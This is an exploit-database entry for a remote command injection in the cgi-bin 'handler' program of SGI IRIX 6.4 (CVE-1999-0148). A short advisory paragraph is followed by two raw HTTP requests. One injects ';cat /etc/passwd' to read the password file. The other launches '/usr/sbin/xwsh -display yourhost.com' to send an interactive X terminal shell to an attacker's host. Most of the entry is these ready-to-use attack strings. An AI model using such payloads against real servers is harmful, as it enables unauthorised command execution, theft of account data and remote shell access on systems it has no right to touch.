SGI IRIX 6.4 - cgi-bin handler

Author: Razvan Dragomirescu
type: remote
platform: multiple
port: 
date_added: 1997-06-16  
date_updated: 2012-06-20  
verified: 1  
codes: CVE-1999-0148;OSVDB-85  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 19303.txt  

source: https://www.securityfocus.com/bid/380/info

A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.

telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0

or:

telnet target.machine.com 80
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download

NOTE: large spaces are actually tabs.